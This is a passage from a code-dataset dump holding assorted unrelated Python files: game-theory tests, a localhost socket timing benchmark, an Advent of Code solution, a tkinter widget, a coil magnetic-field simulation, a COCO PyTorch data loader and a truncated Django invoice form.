rng=rng)[-1].values() for i in range(300)], 0)\n    assert sum(v1) == pytest.approx(0.0)\n    assert v1[0] == pytest.approx(0.0, abs=0.1)\n    s2 = [\n        FixedStrategy(Explicit({\"R\": 1.0, \"P\": 0.0, \"S\": 0.0})),\n        FixedStrategy(Explicit({\"R\": 0.5, \"P\": 0.5, \"S\": 0.0}))]\n    v2 = np.mean(\n        [g.play_strategies(s2, rng=rng)[-1].values() for i in range(300)], 0)\n    assert sum(v2) == pytest.approx(0.0)\n    assert v2[0] == pytest.approx(-0.5, abs=0.1)\n","sub_path":"tests/games/test_matrix.py","file_name":"test_matrix.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"625012718","text":"# imports\nfrom threading import Thread\nfrom random import randint\nimport socket\nimport time\n# from memory_profiler import profile\n\n# quantidade de threads cliente / servidor\nnum_threads = 5\n# tempos\n# servidor[i] = [cliente, tempo]\nservidor = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]\ntempos = [servidor, servidor, servidor, servidor, servidor]\n\n\n# linha de execução do servidor\n# @profile\ndef server(id):\n    global tempos\n    # criação da porta\n    port = 5000 + id\n    # contador de mensagens recebidas\n    mensagens_recebidas = 0\n    # criação do socket\n    try:\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('localhost', port))\n        server.listen(5)\n        print(\"Servidor {} iniciado - Porta: {}\".format(id, port))\n\n        # inicio da execução\n        try:\n            while(mensagens_recebidas < num_threads):\n                connect, client = server.accept()\n                print(\"Cliente conectado\")\n                msg = connect.recv(128)\n                msg = msg.decode()\n                if(not msg):\n                    continue\n\n                print(\"Servidor {} recebeu: {}\".format(id, msg))\n                mensagens_recebidas += 1\n                connect.close()\n        except Exception as e:\n            print(\"Falha de conexão na porta {}\".format(port))\n        finally:\n            connect.close()\n    except Exception as e:\n        print(\"Não foi possível inicializar o servidor {}\".format(port))\n    finally:\n        connect.close()\n        for i in range(len(tempos[id])):\n            tempos[id][i][1] = time.time() - tempos[id][i][1]\n        print(\"++++ Servidor {} concluído ++++\".format(id))\n\n\n# linha de execução do cliente\n# @profile\ndef client(id):\n    global tempos\n    # mensagem que será enviada\n    msg = str(randint(0, 100))\n    # contador de mensagens enviadas\n    mensagens_enviadas = 0\n    # criação dos sockets\n    sockets = []\n    for i in range(num_threads):\n        tempos[i][id % 5][1] = time.time()\n        sockets.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))\n        tempos[i][id % 5][0] = sockets[-1].getsockname()[1]\n\n    # inicio da execução\n    print(\"Cliente {} iniciou\".format(id))\n    while(mensagens_enviadas < num_threads):\n        # configura a porta\n        port = 5000 + mensagens_enviadas\n        # tenta enviar a mensagem\n        try:\n            sockets[mensagens_enviadas].connect(('localhost', port))\n            sockets[mensagens_enviadas].send(msg.encode())\n            print(\"Cliente {} enviou {} na porta {}\".format(id, msg, port))\n            mensagens_enviadas += 1\n        except Exception:\n            pass\n\n    print(\"Cliente {} concluído\".format(id))\n\n\n# criação e inicialização da thread servidor\nfor i in range(num_threads):\n    tserver = Thread(target=server, args=(i, ))\n    tserver.start()\n\n\n# criação e inicialização das threads cliente\nfor i in range(num_threads, 10):\n    tclient = Thread(target=client, args=(i, ))\n    tclient.start()\n    tclient.join()\n\n# cálculo da média do tempo\nmedia = 0\nfor servidor in tempos:\n    for cliente in servidor:\n        media += cliente[1]\n\nmedia *= 1000\nmedia /= 25\nprint('Tempo médio de comunicação: {}ms'.format(media))\n","sub_path":"socket/5x5.py","file_name":"5x5.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"546781923","text":"from pdb import set_trace as db\n\nwith open(\"raw-input.txt\") as f:\n    input = [int(n) for n in f.read().split(\"\\n\")]\n\ntest_str = \"\"\"35\n20\n15\n25\n47\n40\n62\n55\n65\n95\n102\n117\n150\n182\n127\n219\n299\n277\n309\n576\"\"\"\ntest_input = [int(n) for n in test_str.split(\"\\n\")]\n\n\ndef check_is_valid(chunk, num):\n    for (i, a) in enumerate(chunk):\n        for b in chunk[i + 1 :]:\n            if num == a + b:\n                return True\n    return False\n\n\ndef find_first_invalid(input, chunk_size):\n    chunk = input[:chunk_size]\n    i = chunk_size\n    while i < len(input):\n        curr = input[i]\n        if not check_is_valid(chunk, curr):\n            return curr\n        chunk.pop(0)\n        chunk.append(curr)\n        i += 1\n\n\nprint(find_first_invalid(test_input, 5))  # 127\nprint(find_first_invalid(input, 25))  # 167829540\n\n### BRUTE FORCE\n# def find_weakness(input, tgt_num):\n#     for (i, a) in enumerate(input):\n#         for (j, b) in enumerate(input[i + 1 :]):\n#             weak_arr = input[i : i + j + 1]\n#             arr_sum = sum(weak_arr)\n#             if arr_sum > tgt_num:\n#                 break\n#             elif arr_sum == tgt_num:\n#                 print(weak_arr)\n#                 return min(weak_arr) + max(weak_arr)\n\n### ROLLING SUM\ndef find_weakness(input, tgt_num):\n    start_i = 0\n    end_i = 1\n    arr_sum = sum(input[start_i : end_i])\n    while end_i < len(input):\n        if arr_sum == tgt_num:\n            break\n        elif arr_sum < tgt_num:\n            arr_sum += input[end_i]\n            end_i += 1\n        elif arr_sum > tgt_num:\n            arr_sum -= input[start_i]\n            start_i += 1\n\n    sub_arr = input[start_i : end_i]\n    return min(sub_arr) + max(sub_arr)\n\n\nprint(find_weakness(test_input, 127))  # 62\nprint(find_weakness(input, 167829540))  # 28045630\n","sub_path":"2020/day09/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"541324721","text":"from tkinter import Tk, Label, Button, Entry, Menu, font\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import *\nfrom protk import boolbox, button, colorcreator, colorscheme, combobox, compiler, entry, frame, framegrid, label, listbox, menu, treeview, window, expander\nimport time\nclass entry:\n\tdef __init__(self, widget_dict):\n\t\tself.__dict__.update(widget_dict)\t\t\n\t\twidget_dict[\"border\"]=\"0\"\n\t\tself.frame=frame.frame(widget_dict).frame\n\n\t\tif self.title != None:\n\t\t\twidget_dict[\"row\"]=1\n\t\t\twidget_dict[\"column\"]=1\n\t\t\twidget_dict[\"location\"]=self.frame\n\t\t\twidget_dict[\"expand_row\"]=\"0\"\n\t\t\twidget_dict[\"expand_column\"]=\"0\"\n\t\t\tself.row=1\n\t\t\tself.column=1\n\t\t\tself.expand_row=\"0\"\n\t\t\tself.expand_column=\"0\"\n\t\t\tself.title_label=label.label(widget_dict)\n\n\n\t\tself.entry=Entry(self.frame, bg=colorscheme.en_bg_color, fg=colorscheme.en_fg_color, disabledbackground=colorscheme.disabled_background, disabledforeground=colorscheme.disabled_foreground)\n\t\n\n\t\tif self.entry_position==\"n\":\n\t\t\tself.row=0\n\t\telif self.entry_position==\"s\":\n\t\t\tself.row=2\n\t\telif self.entry_position==\"e\":\n\t\t\tself.column=0\n\t\telif self.entry_position==\"w\":\n\t\t\tself.column=2\n\t\telif self.entry_position==None:\n\t\t\tself.column=0\n\t\n\t\tself.entry.grid(row=self.row, column=self.column, sticky=\"s\", pady=2, padx=2)\n\t\tif eval(self.read_only)==True:\n\t\t\tself.entry.config(state=\"disabled\")\n\t\texpander.check_expansion(self)\n\t\tself.typewrite_entry()\n\n\tdef typewrite_entry(self):\n\t\tif self.typewrite != True:\n\t\t\tself.entry.configure(width=self.width)\n\t\telse:\n\t\t\tfor a in range(0, self.width):\n\t\t\t\ttime.sleep(.01)\n\t\t\t\tself.entry.configure(width=a)\n\t\t\t\tself.root.update()\n\n\tdef insert_data(self, x):\n\t\tself.entry.delete(\"0\", END)\n\t\tself.entry.insert(\"0\", x)\n\t\tdef configure_entry_height(self, x):\n\t\t\tif len(x)<25:\n\t\t\t\tself.entry.configure(height=1)\n\t\t\telif len(x)>25 and len(x)<80:\n\t\t\t\tself.entry.configure(height=2)\n\t\t\telif len(x)>80 and len(x)<120:\n\t\t\t\tself.entry.configure(height=3)\n\t\t\telse:\n\t\t\t\tself.entry.configure(height=4)\n\t\tself.configure_entry_height(x)\n\n\tdef clear(self):\n\t\tself.entry.delete(\"0\", END)\n\tdef return_data(self):\n\t\treturn self.entry.get()\n\tdef get(self):\n\t\treturn self.entry.get()\n\n\n\nif __name__==\"__main__\":\n\tpass","sub_path":"entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"430825889","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os.path\nimport argparse\nimport sys\nfrom scipy.spatial.transform import Rotation\n\nimport loopfield\n\n# two-coil setup\n#  width=2e-3\n\n\nfield = loopfield.Field()\n\n\ndef save_3d_file(output_file, data, header):\n    fh = open(output_file, 'w')\n    fh.write(header + \"\\n\")\n    shape = data.shape\n    for i in range(shape[0]):\n        block = data[i]\n        np.savetxt(fh, block, fmt=\"%.17g\", delimiter=\"\\t\")\n        fh.write(\"\\n\")\n    fh.close()\n\n    \ndef add_coil(pos, N, normal=[0,0,1], width=5.3e-3, r_o=30.25e-3 - 1e-3, r_i=5e-3, current=1):\n    # pos is coil midpoint\n    A = width * (r_o - r_i)\n    A_loop = A/N\n    d_loop = np.sqrt(A_loop)\n    N_d = int(round(width/d_loop))\n    N_r = int(round((r_o-r_i)/d_loop))\n    N_prod = N_d * N_r\n    print(\"building coil with %d x %d = %d loops, error = %d ( %.2g percent)\" % (N_d, N_r, N_prod, N_prod - N, 100 * np.abs((N_prod - N) / N)))\n    radiuses = np.linspace(r_i, r_o, N_r)\n    mid_points = pos + np.outer(np.linspace(-width/2, width/2, N_d), normal)\n    for radius in (radiuses):\n        for mid_point in (mid_points):\n            field.addLoop(loopfield.Loop(mid_point, normal, radius, current))\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--force', action=\"store_true\", help=\"overwrite existing files\")\nparser.add_argument('-o', '--output', help=\"basename for output data files\")\nparser.add_argument('--tilt_x', help=\"tilt (in degrees) around x axis\", type=float, default=0)\nparser.add_argument('--shift_z', help=\"shift sample in z direction (m)\", type=float, default=0) \n\n\nargs = parser.parse_args()\n\nif args.output:\n    args.output += \"_tilt_x=%.2g\" % args.tilt_x\n    args.output += \"_shift_z=%.2g\" % args.shift_z\n    \nw = 25e-3 + 2e-3\ncoil_pos = np.array([0, 0, w])\nadd_coil(coil_pos, 9530)\nadd_coil(-coil_pos, 10623)\n\n# calculate field on axis\nN = 100\npos_vals = np.zeros((N,3))\nz_vals = np.linspace(-2e-3, 2e-3, N)\npos_vals[:,2] = z_vals\nfield_vals = field.evaluate(pos_vals)\ndata_axis = np.stack((z_vals, field_vals[:,2]), axis=1)\n\n\n\n# calculate field on sample plain\nN = 50\nd_sample = 6e-3\nsample_normal = np.array([0,0,1])\nx_vals = np.linspace(-d_sample/2, d_sample/2, N)\ny_vals = np.linspace(-d_sample/2, d_sample/2, N)\nx_mesh, y_mesh = np.meshgrid(x_vals, y_vals, indexing=\"ij\")\nsample_positions = np.zeros((N, N, 3))\nsample_positions[...,0] = x_mesh\nsample_positions[...,1] = y_mesh\n\n# tilt sample\n\nr = Rotation.from_euler('x', args.tilt_x, degrees=True)\nrotation_matrix = r.as_dcm()\n\ntilted_positions = np.dot(sample_positions, rotation_matrix.T)\n\n# shift sample\n\ntilted_positions = tilted_positions - np.array([0, 0, args.shift_z])\n\n# calculate field\n\nsample_fields = field.evaluate(np.reshape(tilted_positions, (N * N, 3)))\nsample_fields = np.reshape(sample_fields, (N, N, 3))\n\nsample_normal = np.dot(rotation_matrix, sample_normal)\nprint(\"tilted sample_normal = \", sample_normal)\n\nsample_normal_field = np.dot(sample_fields, sample_normal)\nsample_normal_field = np.reshape(sample_normal_field, (N, N, 1))\nprint(sample_normal_field.shape)\n\nsample_data = np.concatenate((sample_positions, tilted_positions, sample_fields, sample_normal_field), axis=2)\n\ndef ensure_unique(file):\n    if not args.force and os.path.isfile(file):\n        sys.exit(\"file %s already exists. Use -f option to overwrite\" % file)\n        \nif args.output:\n    axis_output_file = args.output + \"_axis.dat\"\n    ensure_unique(axis_output_file)\n    header = \"# z\\tB_z\"\n    np.savetxt(axis_output_file, data_axis, header=header, comments='', fmt=\"%.17g\")\n\n    sample_output_file = args.output + \"_sample_plain.dat\"\n    ensure_unique(sample_output_file)\n    \n    header = \"# x\\ty\\tz\\tx_t\\ty_t\\tz_t\\tB_x\\tB_y\\tB_z\\tB_normal\"\n    save_3d_file(sample_output_file, sample_data, header)\n\n\n\n\n","sub_path":"two-coil/field.py","file_name":"field.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"183349010","text":"import time\nimport Cliente\n\n#Barranquilla, Cartagena, Bucaramanga, Cusco, San Andres Islas, Santa Marta, Valledup\n\nciudadesDestino = {\"Barranquilla\": [0,0], \"Cartagena\": [0,0], \"Bucaramanga\": [0,0], \"Cusco\": [0,0], \"San Andres Islas\": [0,0], \"Santa Marta\":[0,0], \"Valledupar\": [0,0]}\n\n\n#ciudadesDestino = {\"Barranquilla\": [0,0]}\n#las fechas que se quiere revisar\n\nlistaFechas = [10,11,12,13,14]\n\ndef repetirTresVeces(pFecha):\n\n    \n    for a in ciudadesDestino.keys():\n\n        fecha = 0\n        nombreCiudad = \"\"\n\n        nombreCiudad = a + \"Ciudad\"\n\n        while ciudadesDestino[a][0] < 3:\n            nombreCiudad = Cliente.Ciudad(a)\n            if nombreCiudad.solicitarVuelo(\"2019-11-\" + str(pFecha)):\n                print(\"Listo\", ciudadesDestino[a][0])\n\n            fecha += 1\n\n            ciudadesDestino[a][0] = fecha \n            time.sleep(60)\n     \n\n            #El primer elemento de la lista corresponde a los tres intentos con la misma fecha\n\ndef modificarFecha():\n\n    \n    for a in listaFechas:\n\n        repetirTresVeces(a)\n        for a in ciudadesDestino.keys():\n            ciudadesDestino[a][1] += 1\n            ciudadesDestino[a][0] = 0\n\n        time.sleep(180)\n        print(ciudadesDestino)\n\n\n\nmodificarFecha()\n","sub_path":"BuscadorIterativo.py","file_name":"BuscadorIterativo.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"328463836","text":"import numpy as np\nimport pandas as pd\n\n\ndef prepare_series(observations, transformations=None):\n    \"\"\"\n    Extracts the relevant parameters from a Series of observations to feed the\n    maxlike object.\n\n    Parameters\n    ----------\n    observations : pd.Series\n        sequence of observations, the index correspond to the features and the\n        values to the target values.\n    transformations : dict\n        (named) list of transformations to apply to observations labels,\n        grouped by index\n\n    Returns\n    -------\n    res : dict\n        resulting ndarrays after applying the transformations on the observations\n    axis : list[list]\n        feature index names\n    \"\"\"\n    if transformations is None:\n        transformations = {\"N\": np.size}\n\n    if isinstance(observations.index, pd.MultiIndex):\n        axis = tuple((level.sort_values()\n                      for level in observations.index.levels))\n        shape = tuple((len(a) for a in axis))\n        df = observations.groupby(observations.index).\\\n            agg(transformations.values()).\\\n            rename(columns={transf.__name__: name\n                            for name, transf in transformations.items()}).\\\n            reindex(pd.MultiIndex.from_product(axis)).fillna(0)\n    else:\n        axis = observations.index.sort_values()\n        shape = (axis.size)\n        df = observations.groupby(axis).agg(transformations.values()).\\\n            rename(columns={transf.__name__: name\n                            for name, transf in transformations.items()}).\\\n            reindex(axis).fillna(0)\n    res = {k: df[k].values.reshape(shape) for k in transformations.keys()}\n    return res, axis\n\n\ndef prepare_dataframe(df, weight_col, result_col, transformations):\n    axis = tuple((level.sort_values() for level in df.index.levels))\n    shape = tuple((len(a) for a in axis))\n    new_index = pd.MultiIndex.from_product(axis)\n    w = df[weight_col].to_frame('N').groupby(df.index).sum().\\\n        reindex(new_index).fillna(0)\n    df = (df[result_col] * df[weight_col]).groupby(df.index).\\\n        agg(transformations.values()).\\\n        rename(columns={transf.__name__: name\n                        for name, transf in transformations.items()}).\\\n        reindex(new_index).fillna(0)\n    res = {k: df[k].values.reshape(shape) for k in transformations.keys()}\n    res['N'] = w.values.reshape(shape)\n    return res, axis\n","sub_path":"maxlike/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"532916896","text":"# Для списка реализовать обмен значений соседних элементов,\n# т.е. Значениями обмениваются элементы с индексами 0 и 1, 2 и 3 и т.д.\n# При нечетном количестве элементов последний сохранить на своем месте.\n# Для заполнения списка элементов необходимо использовать функцию input().\n\n# Элементы\nelement1_int = input(\"Введите целое число: \")\nelement2_float = input(\"Введите вещественное число: \")\nelement3_int = input(\"Введите целое число: \")\nelement4_float = input(\"Введите вещественное число: \")\nelement5_str = input(\"Введите строку: \")\n# Список элементов\nelements_list = [element1_int, element2_float, element3_int, element4_float, element5_str]\nprint(elements_list)\n\nnum = 0\n# Обмен значений соседних элементов\nwhile num < len(elements_list):\n    if (num + 1) < len(elements_list):\n        temp = elements_list[num]\n        elements_list[num] = elements_list[num + 1]\n        elements_list[num + 1] = temp\n        num += 2\n    else:\n        num += 2\n\nprint(elements_list)\n","sub_path":"Lesson_2/L2_Task2.py","file_name":"L2_Task2.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"499430461","text":"# coding=utf-8\nimport sys\n\nsys.path.append(\"..\")\nimport nltk\nfrom gensim.models import KeyedVectors\nfrom utils.constants import *\nfrom torch.utils.data import Dataset\nimport random\nimport numpy as np\n\n\ndef tokenize(caption, word2vec):\n    punctuations = ['.', '?', ',', '', '(', ')']\n    raw_text = caption.lower()\n    words = nltk.word_tokenize(raw_text)\n    words = [word for word in words if word not in punctuations]\n    return [word for word in words if word in word2vec]\n\n\ndef rearrange(caption_output, box_output, label_output, threshold):\n    cosine_dist = calculate_dist(caption_output, label_output, dist='Cosine')\n    max_dist = torch.max(cosine_dist, dim=0)[0]\n    max_dist, sorted_indices = torch.sort(max_dist, descending=True)\n    key_indices = sorted_indices[max_dist > threshold]\n    other_indices = sorted_indices[max_dist <= threshold]\n    if key_indices.size(0) == 0:\n        key_indices = sorted_indices[0].unsqueeze(0)\n        other_indices = sorted_indices[1:]\n    key_boxes_criterion = torch.stack([box[0] + box[1] for box in box_output[key_indices]])\n    _, inner_index = torch.sort(key_boxes_criterion)\n    key_indices = key_indices[inner_index]\n    if other_indices.size(0) != 0:\n        other_boxes_criterion = torch.stack([box[0] + box[1] for box in box_output[other_indices]])\n        _, inner_index = torch.sort(other_boxes_criterion)\n        other_indices = other_indices[inner_index]\n    return key_indices, other_indices\n\n\ndef fetch_nouns(caption):\n    noun_list = []\n    for word_tuple in nltk.pos_tag(caption):\n        if word_tuple[1] == 'NN' or word_tuple[1] == 'NNS':\n            noun_list.append(word_tuple[0])\n    return noun_list\n\n\nclass DatasetCOCO(Dataset):\n    def __init__(self, params):\n        assert 'is_training' in params and type(params['is_training']) is bool, \\\n            'param \"is_training\" is required!'\n        assert 'glove_file' in params and type(params['glove_file']) is str, 'param \"glove_file\" is required!'\n        assert 'caption' in params and type(params['caption']) is str, 'param \"caption\" is required!'\n        assert 'bbox' in params and type(params['bbox']) is str, 'param \"bbox\" is required!'\n        assert 'key' in params and type(params['key']) is str, 'param \"key\" is required!'\n        assert 'label_table' in params and type(params['label_table']) is str, 'param \"label_table\" is required!'\n        assert 'max_word_num' in params and type(params['max_word_num']) is int, \\\n            'param \"max_word_num\" is required!'\n        assert 'max_bbox_num' in params and type(params['max_bbox_num']) is int, \\\n            'param \"max_bbox_num\" is required!'\n        assert 'max_label_num' in params and type(params['max_label_num']) is int, \\\n            'param \"max_label_num\" is required!'\n        assert 'word_embedding_dim' in params and type(params['word_embedding_dim']) is int, \\\n            'param \"word_embedding_dim\" is required!'\n        assert 'threshold' in params and type(params['threshold']) is float, 'param \"threshold\" is required!'\n\n        super(DatasetCOCO, self).__init__()\n        self.params = params\n        # dataset\n        self.glove_data = KeyedVectors.load_word2vec_format(params['glove_file'], binary=True)\n        self.caption_data = load_json(params['caption'])\n        self.bbox_data = load_json(params['bbox'])\n        self.key = load_json(params['key'])\n        self.label_table = load_json(params['label_table'])\n        self.embedding_table = self.label_embedding([i for i in range(0, 184)])\n        # print(self.embedding_table.size())\n\n    def __getitem__(self, index):\n        \"\"\"\n        :return:\n            caption_data : embedded caption vectors in shape (caption_len, embedding_dim)\n            box_data: left, top, width, height value of bounding boxes in shape (bbox_num, 4)\n            label_data: label information of bounding boxes in shape(bbox_num)\n            label_embedding_data: label information embedded in shape(bbox_num, label_embedding_dim)\n            caption_length: length of caption data\n            box_length: length of bbox data\n        \"\"\"\n        # Retrieve data from given files\n        item_key = self.key[index]\n        caption = self.caption_data[item_key]\n        annotation = self.bbox_data[item_key]\n\n        # handle caption\n        caption_tokenize = tokenize(random.choice(caption), self.glove_data)\n        noun_list = fetch_nouns(caption_tokenize)\n        noun_embedding = torch.tensor([self.glove_data[word] for word in noun_list])\n        noun_embedding = self.retrieve_label(noun_embedding, self.params['threshold'])\n        caption_embedding = torch.tensor([self.glove_data[word] for word in caption_tokenize])\n\n        # retrieve box information and label information\n        box_output = torch.tensor([box['bbox'] for box in annotation])\n        label_output = torch.tensor([box['category_id'] for box in annotation]).long()\n        label_embedding = self.label_embedding([box['category_id'] for box in annotation])\n        key_index, other_index = rearrange(caption_embedding, box_output, label_embedding, self.params['threshold'])\n        rearrange_index = torch.cat([key_index, other_index])\n\n        # do rearrange\n        box_output = box_output[rearrange_index]\n        label_output = label_output[rearrange_index]\n        label_embedding = label_embedding[rearrange_index]\n\n        # scale box coordination to 0-1\n        box_min_x = torch.min(box_output[:, 0])\n        box_max_x = torch.max(box_output[:, 0] + box_output[:, 2])\n        box_min_y = torch.min(box_output[:, 1])\n        box_max_y = torch.max(box_output[:, 1] + box_output[:, 3])\n        box_output[:, 0] = (box_output[:, 0] - box_min_x) / (box_max_x - box_min_x)\n        box_output[:, 1] = (box_output[:, 1] - box_min_y) / (box_max_y - box_min_y)\n        box_output[:, 2] = (box_output[:, 2]) / (box_max_x - box_min_x)\n        box_output[:, 3] = (box_output[:, 3]) / (box_max_y - box_min_y)\n\n        # calculate label_freq and label_prob\n        label_prob = torch.zeros(self.params['max_label_num'])\n        label_prob[np.unique(label_output)] = 1\n        label_freq = torch.tensor(np.bincount(label_output, minlength=self.params['max_label_num']))\n        # Eliminate the effect of unlabeled items\n        label_prob[-1] = 0\n        label_freq[-1] = 0\n\n        # Soft smoothing\n        idx_neg = label_prob < 0.5\n        idx_pos = label_prob > 0.5\n        rands_pos = torch.rand(label_prob.size(0)) * 0.1\n        rands_neg = torch.rand(label_prob.size(0)) * 0.1\n        label_prob = label_prob + idx_neg.float() * rands_neg - idx_pos.float() * rands_pos\n\n        # Pad outputs\n        caption_padded_embedding = torch.zeros((self.params['max_word_num'], self.params['word_embedding_dim']))\n        noun_padded_embedding = torch.zeros((self.params['max_word_num']))\n        box_padded_output = torch.zeros((self.params['max_bbox_num'], 4))\n        label_padded_output = torch.zeros((self.params['max_bbox_num'])).long()\n        label_order_padded_output = torch.zeros((self.params['max_bbox_num']))\n        label_padded_embedding = torch.zeros((self.params['max_bbox_num'], self.params['word_embedding_dim']))\n        box_length = min(box_output.size(0), self.params['max_bbox_num'])\n        caption_length = min(len(caption_tokenize), self.params['max_word_num'])\n        noun_length = min(noun_embedding.size(0), self.params['max_word_num'])\n\n        # pad outputs\n        caption_padded_embedding[:caption_length, :] = caption_embedding[:caption_length, :]\n        if noun_length != 0:\n            noun_padded_embedding[:noun_length] = noun_embedding[:noun_length]\n        label_padded_embedding[:box_length, :] = label_embedding[:box_length, :]\n        box_padded_output[:box_length, :] = box_output[:box_length, :]\n        label_padded_output[:box_length] = label_output[:box_length]\n\n        # create masks\n        noun_mask = torch.zeros(self.params['max_word_num'])\n        noun_mask[:noun_length] = 1\n        other_mask = label_padded_output != 0\n        other_mask[:key_index.size(0)] = 0\n        key_mask = label_padded_output != 0\n        key_mask[key_index.size(0):] = 0\n\n        # create item order\n        order_list = torch.zeros(184)\n        for index, label in enumerate(label_output):\n            if index >= label_order_padded_output.size(0):\n                break\n            label_order_padded_output[index] = order_list[label]\n            order_list[label] += 1\n\n        return caption_padded_embedding, box_padded_output, label_padded_output, label_padded_embedding, \\\n               caption_length, box_length, key_index.size(0), label_freq, label_prob, noun_padded_embedding, \\\n               noun_length, noun_mask, key_mask, other_mask, label_order_padded_output\n\n    def __len__(self):\n        return len(self.key)\n\n    def label_embedding(self, label_list):\n        embedding_list = []\n        for label in label_list:\n            description = tokenize(self.label_table[str(label)], self.glove_data)\n            description_embedding = torch.mean(torch.tensor([self.glove_data[word] for word in description]), dim=0)\n            embedding_list.append(description_embedding)\n        return torch.stack(embedding_list)\n\n    def retrieve_label(self, noun_embedding, threshold):\n        if noun_embedding.size(0) == 0:\n            # print(self.key[index])\n            return torch.empty(0)\n        cosine_dist = calculate_dist(noun_embedding, self.embedding_table, dist='Cosine')\n        max_dist = torch.max(cosine_dist, dim=0)[0]\n        max_dist, sorted_indices = torch.sort(max_dist, descending=True)\n        key_labels = sorted_indices[max_dist > threshold]\n        # print(index, self.label_table[str(label.item())])\n        return key_labels[:6]\n\n\nif __name__ == '__main__':\n    param = {\n        'is_training': True,\n        'glove_file': \"../config/glove_model.bin\",\n        \"caption\": \"../config/COCO/annotation_train_caption.json\",\n        \"bbox\": \"../config/COCO/annotation_train_bbox.json\",\n        \"key\": \"../config/COCO/annotation_train.json\"\n    }\n    dataloader = DatasetCOCO(param)\n    print(dataloader[0][0].shape)\n","sub_path":"dataloaders/dataset_coco.py","file_name":"dataset_coco.py","file_ext":"py","file_size_in_byte":10100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"335718413","text":"from django.forms import FileField,EmailField,ValidationError,DateField,CharField,TimeField,Form,ModelForm, TextInput, ChoiceField, Select, ModelChoiceField, DateTimeInput\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom invoices.models import Invoice\nfrom clients.models import Client\nfrom datetime import datetime, date \nimport datetime \n\nfrom custom.choices import INVOICE_TYPE\nfrom dateutil.parser import *\n\nclass InvoiceForm(ModelForm):\n\t\n\tdue_date =  DateField(input_formats=settings.DATE_INPUT_FORMATS)\n\tinvoice_date = DateField(input_formats=settings.DATE_INPUT_FORMATS) \n\tstart_time = TimeField(input_formats=settings.TIME_INPUT_FORMATS, required=False)\n\tend_time = TimeField(input_formats=settings.TIME_INPUT_FORMATS, required=False)\n\t#invoice_type = ChoiceField(choices=INVOICE_TYPE, required=False)\n\n\n\tclass Meta:\n\t\tmodel = Invoice\n\t\tfields = ('invoice_number','hours','start_time','end_time','invoice_type','due_date','client','order_number','invoice_date','rate','amount','paid','remarks')\n\t\n\tdef __init__(self,*args, **kwargs):\n\t\t#import pdb; pdb.set_trace()\n\t\tself.user = kwargs.pop('user', None)\n\t\tself.inv = kwargs.pop('invoice_type', None) #kay di mag work anf cleaned_data.get('invoice_type') sa clean_hours\n\t\t#self.start = kwargs.pop('start_time', None)\n\t\t#self.end = kwargs.pop('end_time', None)\n\t\treturn super(InvoiceForm, self).__init__(*args, **kwargs)\n\n\tdef clean_amount(self):\n\t\t\n\t\tinvoice_type = self.cleaned_data.get('invoice_type')\n\t\tamount = self.cleaned_data.get('amount')\n\t\tif invoice_type == 'fixed':\n\t\t\tif not amount:\n\t\t\t\traise ValidationError(\"you pick fixed - amount should have a value\")\n\t\treturn amount\n\t\n\tdef clean_start_time(self):\n\t\tstart_time = self.cleaned_data.get('start_time')\n\t\treturn start_time\n\n\tdef clean_end_time(self):\n\t\tend_time = self.cleaned_data.get('end_time')\t\t\n\t\treturn end_time\n\n\tdef clean_rate(self):\n\t\thours = self.cleaned_data.get('hours')\n\t\trate = self.cleaned_data.get('rate')\n\t\tif rate:\n\t\t\tif not hours:\n\t\t\t\traise ValidationError(\"rate has value but doest have an hour/s\")\n\t\tif not rate and hours:\n\t\t\traise ValidationError(\"hours has value and rate must have value too\")\n\t\treturn rate\n\n\tdef clean_order_number(self):\n\t\tor_no = self.cleaned_data.get('order_number')\n\t\tif or_no:\n\t\t\ttext_or_no = Invoice.objects.filter(order_number__exact=or_no)\n\t\t\tif text_or_no:\n\t\t\t\traise ValidationError(\"Order Number already exists:\")\n\t\treturn or_no\n\n\tdef clean_invoice_number(self):\n\t\tinv_no = self.cleaned_data.get('invoice_number')\n\t\tif inv_no:\n\t\t\ttest_inv_no = Invoice.objects.filter(invoice_number__exact=inv_no)\n\t\t\tif test_inv_no:\n\t\t\t\traise ValidationError(\"Invoice Number already exists:\")\t\t\t\t\t\t\n\t\treturn inv_no\t\n\n\tdef clean_invoice_date(self):\n\t\tin_date = self.cleaned_data.get('invoice_date')\n\t\tif in_date:\n\t\t\tin_date = datetime.datetime.strftime( in_date, '%Y-%m-%d')\n\t\t\tcurrent = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d')\n\t\t\tif current > in_date:\n\t\t\t\traise ValidationError(\"Datetime should be in future\")\n\t\treturn in_date\n\n\tdef clean_due_date(self):\n\t\tdue_date =  self.cleaned_data.get('due_date')\n\t\tif due_date:\n\t\t\tdue_date = datetime.datetime.strftime( due_date, '%Y-%m-%d')\n\t\t\tcurrent = 